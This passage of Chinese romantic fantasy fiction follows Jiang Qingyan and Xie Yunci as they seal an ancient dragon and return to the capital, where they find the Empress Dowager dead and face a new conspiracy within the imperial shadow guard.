鲜血渗入祭坛，激活了更古老、更强大的阵法。金色的光芒从祭坛中爆发，照亮了整个殿堂，然后向地下深处蔓延。 他们能感觉到，地底深处，有什么东西发出了不甘的咆哮，但最终被金光镇压，重归寂静。 封印，加固了。 两人瘫坐在祭坛边，精疲力尽，但心中却无比轻松。 “结束了……”谢云辞靠在江清砚肩上，“至少，暂时结束了。” “嗯，”江清砚握住他的手，“我们完成了使命。” 他们在殿堂中休息了许久，直到体力恢复了一些，才起身离开。 走出冰晶宫殿时，外面风雪已停。阳光透过云层洒下，在冰雪上反射出耀眼的光芒。死亡峡谷依然寒冷，但那种压抑的邪恶气息已经消失。 胡老三还在谷外等他们，见到两人出来，又惊又喜:“两位大人！你们真的出来了！太好了！” “胡大哥，让你久等了，”谢云辞笑道，“事情已经解决，我们可以回去了。” “太好了！太好了！”胡老三激动得语无伦次。 三人踏上归途。 回京的路上，江清砚和谢云辞都很沉默。他们完成了使命，但心中却并不轻松。烛龙的眼睛虽然被封印，但“烛龙之眼”这个组织还在，太后虽然死了，但朝中可能还有余孽。 而且……京城里，还有一个人在等他们。 那个给过他们提示、身份神秘的黑衣人——龙影卫中的“影”。 他到底是谁？为什么要帮他们？他的真实目的是什么？ 这些问题，都需要回去后一一查清。 十月底，他们终于回到了京城。 进城时，京城已经入冬。第一场雪刚刚下过，街道上还残留着薄薄的积雪。 回到谢府，一切如旧。但两人都感觉到，府里的气氛有些微妙——下人们看他们的眼神，多了几分敬畏，也多了几分担忧。 “大人，江郎中，你们可算回来了，”陈七迎上来，神色凝重，“出事了。” “什么事？” “太后……薨了。” 太后死了？虽然早有预料，但听到确切消息，两人还是心中一沉。 “还有，”陈七压低声音，“太后死前，送出了一封密信。我们截获了，但……信是给龙影卫的。” 给龙影卫？难道太后在龙影卫中也有眼线？ “信的内容呢？”谢云辞问。 陈七摇头:“信是密文写的，我们破解不了。但陛下已经知道了，正在追查。” 果然，事情还没完。 两人对视一眼，都看到了彼此眼中的凝重。 前路，依然布满荆棘。 但至少，他们在一起。 这就够了。 夜幕降临，书房内烛火通明。 江清砚和谢云辞相对而坐，桌上摊着那封密信的抄本——是陈七偷偷抄下来的。虽然破解不了，但两人还是想看看。 密文很复杂，用的是一种早已失传的古文字。江清砚仔细辨认，只能认出几个字:“影……龙……醒……” 影？龙？醒？ “难道是说……”谢云辞脸色一变，“龙影卫中，有人想唤醒烛龙？” 可能性很大。太后虽然死了，但她可能留下了后手，让龙影卫中的内应继续她的计划。 “我们必须告诉陛下，”江清砚道，“龙影卫是陛下直属的暗卫，如果有问题，后果不堪设想。” “但我们现在没有证据，”谢云辞皱眉，“仅凭这封密信，陛下未必会信。而且……龙影卫的首领身份神秘，连我都不知道是谁。” 这就难办了。 两人正沉思间，窗外突然传来一声轻响。 还是那块石子，还是一张纸条。 谢云辞捡起纸条，上面只有三个字: “三日后。” 又是三日后。 “他想干什么？”江清砚蹙眉。 “不管他想干什么，我们都要去，”谢云辞收起纸条，“这一次，一定要弄清楚他是谁。” “嗯。” 窗外，夜色深沉。 宫墙的影子在月光下拉得很长，如同蛰伏的巨兽。 而在某个深宫的阴影里，一个穿着龙影卫服饰的身影静静站立，手中把玩着一枚刻有眼睛图案的令牌。 他的嘴角，勾起一抹诡异的笑容。 “游戏……才刚刚开始。” 风雪又起，将一切痕迹掩盖。 但暗流，从未停歇。 新的风暴，正在酝酿。 而江清砚和谢云辞，注定还要继续他们的征程。 前路漫漫，凶险未知。 但只要携手并肩，便无所畏惧。 因为，他们是彼此的光。 是彼此……永恒的依靠。